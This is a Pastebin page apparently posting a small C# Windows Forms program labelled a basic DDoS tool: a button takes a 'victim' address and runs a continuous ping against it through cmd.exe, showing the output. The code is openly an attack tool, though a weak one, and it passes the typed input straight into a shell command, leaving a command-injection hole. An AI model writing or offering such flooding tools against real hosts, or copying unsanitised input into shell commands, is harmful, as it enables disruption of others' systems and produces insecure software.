Guest User

code ddos basic

a guest
Oct 8th, 2015
1,478
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 1.31 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Linq;
  7. using System.Text;
  8. using System.Windows.Forms;
  9. using System.Diagnostics;
  10.  
  11. namespace ddos
  12. {
  13.     public partial class Form1 : Form
  14.     {
  15.         public Form1()
  16.         {
  17.             InitializeComponent();
  18.         }
  19.  
  20.         private void button1_Click(object sender, EventArgs e)
  21.         {
  22.             if (textBox1.Text == "")
  23.             {
  24.                 MessageBox.Show("Bạn chưa điền victim vào", "Error");
  25.             }
  26.             else
  27.             {
  28.                 //enter code here
  29.                 string victim;
  30.                 victim = "ping " + textBox1.Text + " -t";
  31.                 ProcessStartInfo processStartInfo = new ProcessStartInfo("cmd.exe");
  32.                 processStartInfo.RedirectStandardInput = true;
  33.                 processStartInfo.RedirectStandardOutput = true;
  34.                 processStartInfo.UseShellExecute = false;
  35.                 Process process = Process.Start(processStartInfo);
  36.                 process.StandardInput.WriteLine(victim);
  37.                 process.StandardInput.Close();
  38.                 string kq = process.StandardOutput.ReadToEnd();
  39.                 MessageBox.Show(kq);
  40.             }
  41.         }
  42.     }
  43. }
Advertisement
Add Comment
Please, Sign In to add comment